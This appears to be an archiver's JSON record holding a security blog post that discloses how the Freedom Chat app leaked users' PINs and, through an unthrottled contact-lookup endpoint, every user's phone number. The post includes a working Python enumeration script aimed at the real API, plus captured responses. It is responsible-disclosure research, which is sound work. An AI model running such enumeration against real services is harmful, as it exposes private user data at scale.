{
    "archive_path": "archive/1765892158.604697",
    "base_url": "ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number",
    "basename": "",
    "bookmarked_date": "2025-12-16 13:35",
    "canonical": {
        "archive_org_path": "https://web.archive.org/web/ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number",
        "dom_path": "output.html",
        "favicon_path": "favicon.ico",
        "git_path": "git/",
        "google_favicon_path": "https://www.google.com/s2/favicons?domain=ericdaigle.ca",
        "headers_path": "headers.json",
        "htmltotext_path": "htmltotext.txt",
        "index_path": "index.html",
        "media_path": "media/",
        "mercury_path": "mercury/content.html",
        "pdf_path": "output.pdf",
        "readability_path": "readability/content.html",
        "screenshot_path": "screenshot.png",
        "singlefile_path": "singlefile.html",
        "warc_path": "warc/",
        "wget_path": null
    },
    "domain": "ericdaigle.ca",
    "downloaded_at": "2025-12-16T13:36:07.673062+00:00",
    "downloaded_datestr": "2025-12-16 13:36",
    "extension": "",
    "hash": "BKDPTNKWNAR9346YEMWS",
    "history": {
        "archive_org": [
            {
                "cmd": [
                    "/usr/bin/curl",
                    "--silent",
                    "--location",
                    "--compressed",
                    "--proxy",
                    "socks5://tor-socks-proxy:9150",
                    "--head",
                    "--max-time",
                    "60",
                    "--user-agent",
                    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 ArchiveBox/{VERSION} (+https://github.com/ArchiveBox/ArchiveBox/)",
                    "https://web.archive.org/save/https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/"
                ],
                "cmd_version": "8.10.1",
                "end_ts": "2025-12-16T13:37:29.679427+00:00",
                "index_texts": null,
                "output": "https://web.archive.org/web/20251216125021/https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/",
                "pwd": "/data/archive/1765892158.604697",
                "schema": "ArchiveResult",
                "start_ts": "2025-12-16T13:37:21.272796+00:00",
                "status": "succeeded"
            }
        ],
        "dom": [
            {
                "cmd": [
                    "/usr/bin/chromium-browser",
                    "--proxy-server=socks5://tor-socks-proxy:9150",
                    "--disable-features=DarkMode",
                    "--run-all-compositor-stages-before-draw",
                    "--hide-scrollbars",
                    "--autoplay-policy=no-user-gesture-required",
                    "--no-first-run",
                    "--use-fake-ui-for-media-stream",
                    "--use-fake-device-for-media-stream",
                    "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'",
                    "--headless=new",
                    "--no-sandbox",
                    "--no-zygote",
                    "--disable-dev-shm-usage",
                    "--disable-software-rasterizer",
                    "--disable-sync",
                    "--window-size=1440,2000",
                    "--user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 ArchiveBox/{VERSION} (+https://github.com/ArchiveBox/ArchiveBox/)",
                    "--user-data-dir=/data/personas/Default/chrome_profile",
                    "--profile-directory=Default",
                    "--dump-dom",
                    "https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/"
                ],
                "cmd_version": "131.0.6778",
                "end_ts": "2025-12-16T13:36:26.223695+00:00",
                "index_texts": null,
                "output": "output.html",
                "pwd": "/data/archive/1765892158.604697",
                "schema": "ArchiveResult",
                "start_ts": "2025-12-16T13:36:17.376953+00:00",
                "status": "succeeded"
            }
        ],
        "favicon": [
            {
                "cmd": [
                    "/usr/bin/curl",
                    "--silent",
                    "--location",
                    "--compressed",
                    "--proxy",
                    "socks5://tor-socks-proxy:9150",
                    "--max-time",
                    "60",
                    "--output",
                    "favicon.ico",
                    "--user-agent",
                    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 ArchiveBox/{VERSION} (+https://github.com/ArchiveBox/ArchiveBox/)",
                    "https://www.google.com/s2/favicons?domain=ericdaigle.ca"
                ],
                "cmd_version": "8.10.1",
                "end_ts": "2025-12-16T13:36:11.421836+00:00",
                "index_texts": null,
                "output": "favicon.ico",
                "pwd": "/data/archive/1765892158.604697",
                "schema": "ArchiveResult",
                "start_ts": "2025-12-16T13:36:07.972862+00:00",
                "status": "succeeded"
            }
        ],
        "git": [],
        "headers": [
            {
                "cmd": [
                    "/usr/bin/curl",
                    "--silent",
                    "--location",
                    "--compressed",
                    "--proxy",
                    "socks5://tor-socks-proxy:9150",
                    "--head",
                    "--max-time",
                    "60",
                    "--user-agent",
                    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 ArchiveBox/{VERSION} (+https://github.com/ArchiveBox/ArchiveBox/)",
                    "https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/"
                ],
                "cmd_version": "8.10.1",
                "end_ts": "2025-12-16T13:36:12.016629+00:00",
                "index_texts": null,
                "output": "headers.json",
                "pwd": "/data/archive/1765892158.604697",
                "schema": "ArchiveResult",
                "start_ts": "2025-12-16T13:36:11.445495+00:00",
                "status": "succeeded"
            }
        ],
        "htmltotext": [
            {
                "cmd": [
                    "(internal) archivebox.extractors.htmltotext",
                    "./{singlefile,dom}.html"
                ],
                "cmd_version": "0.8.5rc51",
                "end_ts": "2025-12-16T13:37:11.626055+00:00",
                "index_texts": [
                    "\"Super secure\" MAGA-themed messaging app leaks everyone's phone number :: Eric Daigle (https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/) (https://ericdaigle.ca/css/buttons.min.86f6b4c106b6c6eb690ae5203d36b442c1f66f718ff4e8164fa86cf6c61ad641.css) (https://ericdaigle.ca/css/code.min.d529ea4b2fb8d34328d7d31afc5466d5f7bc2f0bc9abdd98b69385335d7baee4.css) (https://ericdaigle.ca/css/fonts.min.5bb7ed13e1d00d8ff39ea84af26737007eb5051b157b86fc24487c94f3dc8bbe.css) (https://ericdaigle.ca/css/footer.min.eb8dfc2c6a7eafa36cd3ba92d63e69e849e2200e0002a228d137f236b09ecd75.css) (https://ericdaigle.ca/css/gist.min.a751e8b0abe1ba8bc53ced52a38b19d8950fe78ca29454ea8c2595cf26aad5c0.css) (https://ericdaigle.ca/css/header.min.75c7eb0e2872d95ff48109c6647d0223a38db52e2561dd87966eb5fc7c6bdac6.css) (https://ericdaigle.ca/css/main.min.36833afd348409fc6c3d09d0897c5833d9d5bf1ff31f5e60ea3ee42ce2b1268c.css) (https://ericdaigle.ca/css/menu.min.3c17467ebeb3d38663dce68f71f519901124fa5cbb4519b2fb0667a21e9aca39.css) (https://ericdaigle.ca/css/pagination.min.bbb986dbce00a5ce5aca0504b7925fc1c581992a4bf57f163e5d69cc1db7d836.css) (https://ericdaigle.ca/css/post.min.e6dddd258e64c83e05cec0cd49c05216742d42fc8ecbfbe6b67083412b609bd3.css) (https://ericdaigle.ca/css/syntax.min.a0773cce9310cb6d8ed23e50f005448facf29a53001b57e038828daa466b25c0.css) (https://ericdaigle.ca/css/terminal.min.ac4c1755add5de8b8f6409c89939bcbfc04c8c666d78fb09c1743e96411342aa.css) (https://ericdaigle.ca/css/terms.min.b81791663c3790e738e571cdbf802312390d30e4b1d8dc9d814a5b5454d0ac11.css) (https://ericdaigle.ca/favicon.png) (https://ericdaigle.ca/apple-touch-icon.png)  (/) Eric Daigle    Menu\u00a0\u25be (/) Blog  (/links) Links  (/me) Me      (/) Blog  (/links) Links  (/me) Me     (https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/) \u201cSuper secure\u201d MAGA-themed messaging app leaks everyone\u2019s phone number  2025-12-10 Eric Daigle  #(https://ericdaigle.ca/tags/infosec/) infosec  Neither of us had prior experience developing mobile apps, but we thought, \u201cHey, we\u2019re both smart. This shouldn\u2019t be too difficult.\u201d  Freedom Chat CEO Tanner Haas  Background#  Once upon a time, in the distant memory that is 2023, a new instant messaging app called Converso was launched. Converso made some pretty impressive claims about its security: it claimed to implement state of the art end-to-end encryption, to collect no metadata, and to use a decentralized architecture that involved no servers at all. Unfortunately, security researcher crnkovi\u0107 (https://crnkovic.dev/testing-converso/) did some basic reverse engineering and traffic analysis and found all of these claims to be completely baseless, with Converso collecting plenty of metadata on every message and using a third-party E2EE provider to store messages on bog standard centralized servers. Even more unfortunately, crnkovi\u0107 also found that Converso implemented the (perfectly functional if used properly) Seald E2EE service in such a way that encrypted messages\u2019 keys could be derived from publicly available information, and also uploaded a copy of every encrypted message to an open Firebase bucket, meaning every message ever sent on the service could be trivially read by anyone with an Internet connection. After being informed of the vulnerabilities, Converso initially released an update claiming to fix them, then withdrew from the App Store and Google Play to \u201caddress and improve the issues.\u201d Not one to give up after a setback, Converso CEO Tanner Haas took a break from self-publishing books on (https://archive.ph/6mywl) how to achieve and receive anything you want to regroup and relaunch, as well as to bless the world with a (https://archive.ph/CormV) lessons learned blog post describing his decision to rebrand after realizing that \u201cprivacy concerns were primarily coming from conservative circles ,\u201d and imparting nuggets of wisdom such as \u201caccept criticism and get better: don\u2019t complain \u201d and \u201censure the product has been thoroughly tested and is ready for prime-time .\u201d Presumably he hadn\u2019t learned the first one yet when he responded to crnkovi\u0107\u2019s responsible disclosure with vague legal threats and accusations of being a Signal shill. Let\u2019s see how the second is going. Part 0: Setup#  As usual, I start out by downloading the app from Google Play and running it while monitoring traffic with HTTP Toolkit. I quickly ran into Freedom Chat\u2019s first security feature: as detailed on (https://freedomchat.com/) their website , the app \u201cprevent[s] screenshots and screen recordings entirely with built-in screenshot protection, \u201d perhaps to accomodate conservatives\u2019 (https://en.wikipedia.org/wiki/Young_Republican_group_chat_leaks) complicated relationship with screenshots . Screenshots aren\u2019t really crucial to anything being discussed here, but I like to provide only the best blog posts to my tens of readers, so let\u2019s hook the app with Frida and (https://www.securify.nl/en/blog/android-frida-hooking-disabling-flagsecure/) disable the FLAG_SECURE attribute . With that out of the way, the signup process works as expected for an instant messaging app - we type in a phone number, get texted a 2FA code, and enter it to create an account. We\u2019re asked whether we want to create a PIN, which is apparently optional to log in on my own phone and required if we want to restore our account on another device, then get to the main UI of the app. There are two main features here: a Chat pane where we can start chats with contacts, and a Channels pane where we can subscribe to user-run microblogging channels \u00e0 la Telegram.  Part 1: Exploration#  Let\u2019s start out with the basics and have a conversation with a second account. Sending a text message triggers the following exchange: (Click to interact) /message request  HTTPCopy  METHOD: POST    URL: https://eagle.freedomchat.com/message    User-Agent: okhttp/4.12.0    Accept: application/json, text/plain, */*    Accept-Encoding: gzip    Content-Type: application/json    Authorization: Bearer <JWT that was generated for us at login>    Connection: keep-alive       {    \"sendId\": \"bdbf9ef7-aaca-4a57-8c4e-5fe978205299\",    \"type\": \"text\",    \"files\": [],    \"isEncrypted\": true,    \"createdAt\": \"2025-11-20T21:12:09.180Z\",    \"chatId\": \"64b9a972-4232-4026-a037-8848909b264d\",    \"content\": \"{\\\"sessionId\\\":\\\"5900c62e-8819-43d7-a6fe-a1745c425bf3\\\",\\\"data\\\":\\\"5wNaCjU3Y0XOvwA9eCuejjJrxRGFNhr+dlnkmeWQcqpxPyfeueVlfVUihifjG33q5HrMMT4ex85c9W4iZcNziXPvVtrs1VrEW2ZWonccOdmXB91ONgLuG0fRjGoc3IFN\\\"}\"    }       STATUS: 201 CREATED       {    \"message\": {    \"id\": \"f1e3a08a-fc8f-4268-b6a8-36ab6abc0464\",    \"content\": \"{\\\"sessionId\\\":\\\"5900c62e-8819-43d7-a6fe-a1745c425bf3\\\",\\\"data\\\":\\\"5wNaCjU3Y0XOvwA9eCuejjJrxRGFNhr+dlnkmeWQcqpxPyfeueVlfVUihifjG33q5HrMMT4ex85c9W4iZcNziXPvVtrs1VrEW2ZWonccOdmXB91ONgLuG0fRjGoc3IFN\\\"}\",    \"user\": {    \"uid\": \"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",    \"userName\": null,    \"phoneNumber\": \"+13322699625\",    \"isBlocked\": false,    \"sealdKey\": \"180cc149-5bc6-406b-b32e-4afaadff2f47\",    \"keyChangedAt\": \"2025-11-20T21:06:31.308Z\",    \"createdAt\": \"2025-11-20T21:06:07.041Z\",    \"updatedAt\": \"2025-11-20T21:06:31.311Z\"    },    \"role\": \"user\",    \"type\": \"text\",    \"sendId\": \"bdbf9ef7-aaca-4a57-8c4e-5fe978205299\",    \"chatId\": \"64b9a972-4232-4026-a037-8848909b264d\",    \"channelId\": null,    \"erased\": false,    \"isEdited\": false,    \"isEncrypted\": true,    \"parent\": null,    \"selfDestructInSec\": null,    \"destructAt\": null,    \"createdAt\": \"2025-11-20T21:12:09.180Z\",    \"updatedAt\": \"2025-11-20T21:12:12.638Z\",    \"updateAction\": \"insert\",    \"updateItem\": \"message\",    \"updateValue\": null,    \"updateUserId\": \"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",    \"statuses\": [    {    \"id\": \"4a1217f4-ab16-4f63-964d-4afd5cdd6b86\",    \"recipient\": {    \"uid\": \"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",    \"userName\": null,    \"phoneNumber\": \"+13322699625\",    \"isBlocked\": false,    \"sealdKey\": \"180cc149-5bc6-406b-b32e-4afaadff2f47\",    \"keyChangedAt\": \"2025-11-20T21:06:31.308Z\",    \"createdAt\": \"2025-11-20T21:06:07.041Z\",    \"updatedAt\": \"2025-11-20T21:06:31.311Z\"    },    \"recipientId\": \"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",    \"delivered\": false,    \"deliveredAt\": null,    \"read\": false,    \"readAt\": null    },    {    \"id\": \"3e6a8549-c2f7-41ca-8acc-3baa7fc51457\",    \"recipient\": {    \"uid\": \"5414cf2c-3f03-46b2-aa16-9e322359cafb\",    \"userName\": null,    \"phoneNumber\": \"+13095416781\",    \"isBlocked\": false,    \"sealdKey\": \"c1d370b9-2323-456d-b4ce-eac3e30014e2\",    \"keyChangedAt\": \"2025-11-20T19:59:10.095Z\",    \"createdAt\": \"2025-11-20T19:58:00.462Z\",    \"updatedAt\": \"2025-11-20T20:59:02.686Z\"    },    \"recipientId\": \"5414cf2c-3f03-46b2-aa16-9e322359cafb\",    \"delivered\": true,    \"deliveredAt\": null,    \"read\": false,    \"readAt\": null    }    ]    },    \"assets\": []    }       This is the encrypted and Base64-encoded text we sent, along with some metadata for things like read receipts and editing and the identifiers needed for decryption (they\u2019re using the same Seald backend that Converso had, without uploading everything to Firebase this time). Sending a photo and a voice message yields similar results.\nWhile verifying that they\u2019re using Seald properly this time would require painstakingly decompiling and reverse engineering React Native\u2019s (https://github.com/facebook/hermes) Hermes VM bytecode , at a high level this seems fine. Let\u2019s move on to the Channels feature. When we open the tab, we see that we\u2019ve already been added to a Freedom Chat\nchannel, which mostly posts about updates to the app and related media coverage.  We\u2019re also suggested a handful of other channels to join, including that of Tanner Haas and some people who are apparently conservative influencers. Tanner mostly seems to use his to post fascinating political takes:  Part 2: Leaking everyone\u2019s PIN#  When we open a channel, the following request and massive response happen: (Click to interact) /channel request  HTTPCopy  METHOD: POST    URL: https://eagle.freedomchat.com/channel?take=1000&skip=0&timestamp=1764377818411    User-Agent: okhttp/4.12.0    Accept: application/json, text/plain, */*    Accept-Encoding: gzip    Content-Type: application/json    Authorization: Bearer <JWT that was generated for me at login>    Connection: keep-alive       STATUS: 200 OK       {    \"data\": [    {    \"id\": \"b0fcab24-36ed-4dae-8f6b-07c5d96606ae\",    \"name\": \"Freedom Chat\",    \"verified\": true,    \"recommended\": true,    \"forTest\": false,    \"description\": \"The official channel of Freedom Chat Inc. \ud83e\udd85\ud83c\uddfa\ud83c\uddf8\",    \"isScreenshotProtected\": true,    \"isMediaSaveDisabled\": false,    \"messageSelfDestruct\": null,    \"createdAt\": \"2025-06-06T22:33:58.609Z\",    \"updatedAt\": \"2025-11-11T15:05:56.565Z\",    \"coverImage\": {    \"id\": \"3c52569b-d9ba-4695-9469-c39c0bd6a95b\",    \"key\": \"AC2E2C9C-B23D-4EEC-8F35-39ED2E3D002C-47bce191-d213-4c9f-8c09-c8095935632d.png\",    \"mimeType\": \"image/png\",    \"url\": \"https://fc-media.object.us-east-1.rumble.cloud/AC2E2C9C-B23D-4EEC-8F35-39ED2E3D002C-47bce191-d213-4c9f-8c09-c8095935632d.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=5rT0Vph76SOrvs39XKPfHBrwaFFZ2daB%2F20251128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20251128T161557Z&X-Amz-Expires=86400&X-Amz-Signature=3f976f4cf09177c28f1060203e3ac6bcdf87932badc5c601cb39b428a1e96a9d&X-Amz-SignedHeaders=host&x-amz-checksum-mode=ENABLED&x-id=GetObject\",    \"createdAt\": \"2025-06-06T22:33:58.605Z\",    \"updatedAt\": \"2025-11-28T16:15:57.150Z\"    },    \"creator\": {    \"uid\": \"fce31a02-17b6-4298-9be4-<redacted for publication>\",    \"userName\": \"freedomchat\",    \"pin\": \"<six digit code redacted for publication>\",    \"pinBackoffDate\": \"2025-11-07T23:37:09.265Z\",    \"pinBackoffNb\": 0,    \"isBlocked\": false,    \"sealdKey\": \"956acbdf-925f-47b6-8323-<redacted for publication>\",    \"keyChangedAt\": \"2025-09-21T14:48:08.778Z\",    \"createdAt\": \"2025-06-06T15:28:50.364Z\",    \"updatedAt\": \"2025-11-20T17:52:16.117Z\"    },    \"members\": [    {    \"channelId\": \"b0fcab24-36ed-4dae-8f6b-07c5d96606ae\",    \"userUid\": \"9646aae0-956b-4252-993e-<redacted for publication>\",    \"isMuted\": false,    \"isScreenshotProtected\": true,    \"isMediaSaveDisabled\": false,    \"isDeleted\": false,    \"isAdmin\": false,    \"createdAt\": \"2025-08-22T20:19:43.835Z\",    \"updatedAt\": \"2025-08-22T20:19:43.835Z\",    \"user\": {    \"uid\": \"9646aae0-956b-4252-993e-<redacted for publication>\",    \"userName\": null,    \"pin\": \"<six digit code redacted for publication>\",    \"pinBackoffDate\": null,    \"pinBackoffNb\": 0,    \"isBlocked\": false,    \"sealdKey\": \"e2ce450b-9701-4750-ad95-<redacted for publication>\",    \"keyChangedAt\": \"2025-10-13T17:54:16.222Z\",    \"createdAt\": \"2025-06-07T13:32:09.371Z\",    \"updatedAt\": \"2025-10-13T17:54:37.187Z\"    }    },    {    \"channelId\": \"b0fcab24-36ed-4dae-8f6b-07c5d96606ae\",    \"userUid\": \"8e4291dd-be77-43df-8227-<redacted for publication>\",    \"isMuted\": false,    \"isScreenshotProtected\": true,    \"isMediaSaveDisabled\": false,    \"isDeleted\": false,    \"isAdmin\": false,    \"createdAt\": \"2025-09-24T05:51:43.793Z\",    \"updatedAt\": \"2025-09-24T05:51:43.793Z\",    \"user\": {    \"uid\": \"8e4291dd-be77-43df-8227-<redacted for publication>\",    \"userName\": null,    \"pin\": \"<six digit code redacted for publication>\",    \"pinBackoffDate\": null,    \"pinBackoffNb\": 0,    \"isBlocked\": false,    \"sealdKey\": \"eecd08da-e119-49e5-9f88-<redacted for publication>\",    \"keyChangedAt\": \"2025-09-24T05:50:02.186Z\",    \"createdAt\": \"2025-09-24T05:49:14.769Z\",    \"updatedAt\": \"2025-09-24T05:50:02.185Z\"    }    },       ...,    ]    ]    }       The members array has 1519 entries in that format, apparently one for each member of the channel. What\u2019s going on in that user object? The pin field seems suspiciously related to the PIN we were asked to input after creating our account\u2026 To confirm, we can sort the array by createdAt and find that the most recent entry does indeed have the PIN we just set when making our account. So\nanyone who\u2019s in a channel (i.e. anyone who hasn\u2019t left the default Freedom Chat channel) has their PIN broadcast to every other user! There\u2019s no direct link between PINs and phone numbers here, but this is still not great. Part 3: So much more secure than WhatsApp#  If we scroll back a bit in the Freedom Chat channel, we see this message dunking on WhatsApp:  The vulnerability they\u2019re talking about was presented in a (https://www.univie.ac.at/en/news/detail/forscherinnen-entdecken-grosse-sicherheitsluecke-in-whatsapp) paper by researchers at the University of Vienna. The paper is interesting and you should go read it, but to summarize, WhatsApp failed to rate limit the API that eats up every phone number in your contacts and checks whether\nthey also use WhatsApp or not. Researchers were thus able to test nearly every possible phone number in the world, and end up with a dump of every WhatsApp user\u2019s phone number, along with some other metadata. It\u2019s interesting that Freedom Chat isn\u2019t vulnerable to this, because they have the same contact discovery feature WhatsApp does, with the app offering you to either start a chat\nor invite each of your contacts depending on whether they already have an account:  Let\u2019s find out for ourselves. When we open this contacts page, the following request-response happens: (Click to interact) /user/numbers request  HTTPCopy  METHOD: POST    URL: https://eagle.freedomchat.com/user/numbers    User-Agent: okhttp/4.12.0    Accept: application/json, text/plain, */*    Accept-Encoding: gzip    Content-Type: application/json    Authorization: Bearer <JWT that was generated for me at login>    Connection: keep-alive       {    \"numbers\": [    \"+13322699625\",    \"+13095416781\",    \"+16042771111\"    ]    }       STATUS: 201 CREATED       [    {    \"uid\": \"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",    \"phoneNumber\": \"+13322699625\",    \"sealdKey\": \"1eea159c-620f-4561-95e8-2918e7d891fc\"    },    {    \"uid\": \"5414cf2c-3f03-46b2-aa16-9e322359cafb\",    \"phoneNumber\": \"+13095416781\",    \"sealdKey\": \"c1d370b9-2323-456d-b4ce-eac3e30014e2\"    }    ]       The first two numbers in the request are the two we used to register Freedom Chat accounts. The third is a number we didn\u2019t register, as a control. A couple things are interesting here. Most obviously, this is exactly the WhatsApp API the Vienna researchers exploited, and will contain the same vulnerability if not rate limited. This endpoint also provides a linkage\nbetween phone numbers and UIDs - if we could run every registered phone number through it, we could get each number\u2019s UID and match it to the UIDs in the Channels response to get that number\u2019s PIN, entirely defeating the PIN mechanism. Now we just need to test whether it\u2019s rate limited Part 4: Exploit#  (Click to interact) Freedom Chat enumeration script  pythonCopy  import itertools   import pandas as pd   import json   import requests   import datetime   import random     from time import sleep     area_codes = [   201 , 202 , 203 , 205 , 206 , 207 , 208 , 209 , 210 , 212 , 213 , 214 , 215 , 216 , 217 , 218 , 219 , 224 , 225 , 228 , 229 , 231 , 234 , 239 , 240 , 242 , 248 , 251 , 252 , 253 , 254 , 256 , 260 , 262 , 267 , 269 , 270 , 276 , 281 , 283 , 301 , 302 , 303 , 304 , 305 , 307 , 308 , 309 , 310 , 312 , 313 , 314 , 315 , 316 , 317 , 318 , 319 , 320 , 321 , 323 , 325 , 327 , 330 , 331 , 334 , 336 , 337 , 339 , 340 , 346 , 347 , 351 , 352 , 360 , 361 , 386 , 401 , 402 , 403 , 404 , 405 , 406 , 407 , 408 , 409 , 410 , 412 , 413 , 414 , 415 , 417 , 418 , 419 , 423 , 424 , 425 , 430 , 432 , 434 , 435 , 440 , 443 , 458 , 469 , 470 , 475 , 478 , 479 , 480 , 501 , 502 , 503 , 504 , 505 , 506 , 507 , 508 , 509 , 510 , 512 , 513 , 514 , 515 , 516 , 517 , 518 , 520 , 530 , 540 , 541 , 551 , 559 , 561 , 562 , 563 , 564 , 567 , 570 , 571 , 573 , 574 , 575 , 580 , 585 , 586 , 601 , 602 , 603 , 605 , 606 , 607 , 608 , 609 , 610 , 612 , 614 , 615 , 616 , 617 , 618 , 619 , 620 , 630 , 631 , 636 , 641 , 646 , 650 , 651 , 657 , 660 , 661 , 662 , 667 , 669 , 678 , 681 , 682 , 701 , 702 , 703 , 704 , 705 , 706 , 707 , 708 , 712 , 713 , 714 , 715 , 716 , 717 , 718 , 719 , 720 , 724 , 727 , 731 , 732 , 734 , 740 , 747 , 754 , 757 , 760 , 762 , 763 , 765 , 770 , 772 , 773 , 774 , 775 , 781 , 784 , 785 , 786 , 787 , 801 , 802 , 803 , 804 , 805 , 806 , 808 , 810 , 812 , 813 , 814 , 815 , 816 , 817 , 818 , 828 , 830 , 831 , 832 , 843 , 845 , 847 , 848 , 850 , 856 , 857 , 858 , 859 , 860 , 862 , 863 , 864 , 865 , 870 , 872 , 873 , 876 , 877 , 878 , 901 , 902 , 903 , 904 , 905 , 906 , 907 , 908 , 909 , 910 , 912 , 913 , 914 , 915 , 916 , 917 , 918 , 919 , 920 , 925 , 928 , 931 , 937 , 940 , 941 , 947 , 951 , 952 , 954 , 956 , 970 , 971 , 972 , 973 , 975 , 978 , 979 , 980 , 985 , 989   ]     digits = ( \"0\" , \"1\" , \"2\" , \"3\" , \"4\" , \"5\" , \"6\" , \"7\" , \"8\" , \"9\" )   orig_combinations = pd . Series ([ \"\" . join ( x ) for x in itertools . product ( digits , repeat = 7 )])   orig_combinations = orig_combinations [ ~ orig_combinations . str . startswith ( \"0\" ) & ~ orig_combinations . str . startswith ( \"1\" )]     with open ( \"freedom_enum_log.txt\" , \"w\" ) as logfile :   random . shuffle ( area_codes )   for ac in area_codes :   logfile . write ( f \"Starting area code  { ac } \\n \" )   combinations = [ \"+1\" + str ( ac ) + '' . join ( c ) for c in list ( orig_combinations )]     url = \"https://eagle.freedomchat.com/user/numbers\"   authToken = \"initial auth token\"   refreshToken = \"initial refresh token\"     for i in range ( 0 , 8000000 , 40000 ):   tranche = combinations [ i : i + 40000 ]   tranche . append ( \"+13322699625\" )   payload = { \"numbers\" : tranche }   headers = {   \"accept\" : \"application/json, text/plain, */*\" ,   \"authorization\" : f \"Bearer  { authToken } \" ,   \"content-type\" : \"application/json\" ,   \"host\" : \"eagle.freedomchat.com\" ,   \"connection\" : \"Keep-Alive\" ,   \"accept-encoding\" : \"gzip\" ,   \"user-agent\" : \"okhttp/4.12.0\"   }     response = requests . post ( url , json = payload , headers = headers )   if \"Unauthorized\" in response . text :   refreshResponse = requests . post ( \"https://eagle.freedomchat.com//auth/refresh\" , json = { \"refreshToken\" : refreshToken })   authToken = refreshResponse . json ()[ \"accessToken\" ]   refreshToken = refreshResponse . json ()[ \"refreshToken\" ]   response = requests . post ( url , json = payload , headers = headers )   if response . text . count ( \"uid\" ) != 1 :   logfile . write ( response . text + \" \\n \" )   if response . elapsed > datetime . timedelta ( seconds = 3 ):   logfile . write ( f \"Getting slow!  { response . elapsed } \\n \" )   logfile . flush ()   logfile . write ( f \"Done area code  { ac } \\n \" )   combinations = []       This is pretty self-explanatory. We generate every valid 7-digit North American phone number, then for every area code, send every number in batches of 40000, plus a number we registered so we can check for false empty responses. We log\nresponses that don\u2019t contain the string \u201cuid\u201d exactly once; if a response contains it 0 times it has failed to produce our registered number and is thus faulty somehow, if a response contains it 2+ times we have found another number. We also\nreauthenticate as needed and note if we start to slow down the server at all. Yes, there are a million ways to make this concurrent and faster, but we\u2019re trying to enumerate not DDOS their server, and at ~1.5 seconds average RTT we should be able\nto test every American phone number in about a day. The log file starts to fill up with entries within a few minutes: Starting area code 305\n[{\"uid\":\"08171874-4b15-47d8-aa78-<redacted for publication>\",\"phoneNumber\":\"+13052<redacted for publication>\",\"sealdKey\":\"941bb3f1-a7e1-4565-a302-<redacted for publication>\"},{\"uid\":\"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\"phoneNumber\":\"+13322699625\",\"sealdKey\":\"c0b5fb1c-c1ea-4177-872d-159ff524328b\"}]\n[{\"uid\":\"abde2596-80df-4e87-993d-<redacted for publication>\",\"phoneNumber\":\"+13053<redacted for publication>\",\"sealdKey\":\"643c55e4-badd-4932-9051-<redacted for publication>\"},{\"uid\":\"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\"phoneNumber\":\"+13322699625\",\"sealdKey\":\"c0b5fb1c-c1ea-4177-872d-159ff524328b\"}]\n[{\"uid\":\"64ef67ef-d4b2-4545-9592-<redacted for publication>\",\"phoneNumber\":\"+13054<redacted for publication>\",\"sealdKey\":\"38d04de8-752f-4214-b8be-<redacted for publication>\"},{\"uid\":\"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\"phoneNumber\":\"+13322699625\",\"sealdKey\":\"c0b5fb1c-c1ea-4177-872d-159ff524328b\"}]\n[{\"uid\":\"b0366897-bfeb-474d-9c15-<redacted for publication>\",\"phoneNumber\":\"+13057<redacted for publication>\",\"sealdKey\":\"06dfc59c-2318-4419-93d1-<redacted for publication>\"},{\"uid\":\"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\"phoneNumber\":\"+13322699625\",\"sealdKey\":\"c0b5fb1c-c1ea-4177-872d-159ff524328b\"}]   Time to go do something else for a while. Just over 27 hours and one ill-fated attempt at early season ski touring later, the script has finished happily, the logfile is full of entries, and no request has failed or taken longer than 3 seconds. So much for rate limiting. We\u2019ve leaked\nevery Freedom Chat user\u2019s phone number, and unless they happened to leave the default channel, we\u2019ve also matched their phone number to their PIN, rendering the entire PIN feature pointless. Timeline#  2025-11-23 : vulnerability discovered 2025-12-04 : disclosed to Freedom Chat support by (https://techcrunch.com/author/zack-whittaker/) Zack Whittaker  2025-12-05 : Freedom Chat responds clarifying that PINs don\u2019t allow restoring past messages, only logging into the account, and that they \u201chad already been implementing additional audit procedures following the Vienna exploit,\u201d promises fixes by next week 2025-12-09 : Freedom Chat notifies us issues have been patched 2025-12-11 : publication here and at TechCrunch    Read other posts  (https://ericdaigle.ca/posts/taking-over-60k-spyware-user-accounts/) [Taking over 60k spyware user accounts with SQL injection ] >      \u00a9 2025 Eric Daigle (https://ko-fi.com/O4O8118AFQ) (Buy Me a Coffee at ko-fi.com)         "
                ],
                "output": "htmltotext.txt",
                "pwd": "/data/archive/1765892158.604697",
                "schema": "ArchiveResult",
                "start_ts": "2025-12-16T13:37:11.148677+00:00",
                "status": "succeeded"
            }
        ],
        "media": [
            {
                "cmd": [
                    "/usr/local/bin/yt-dlp",
                    "--restrict-filenames",
                    "--trim-filenames",
                    "128",
                    "--write-description",
                    "--write-info-json",
                    "--write-annotations",
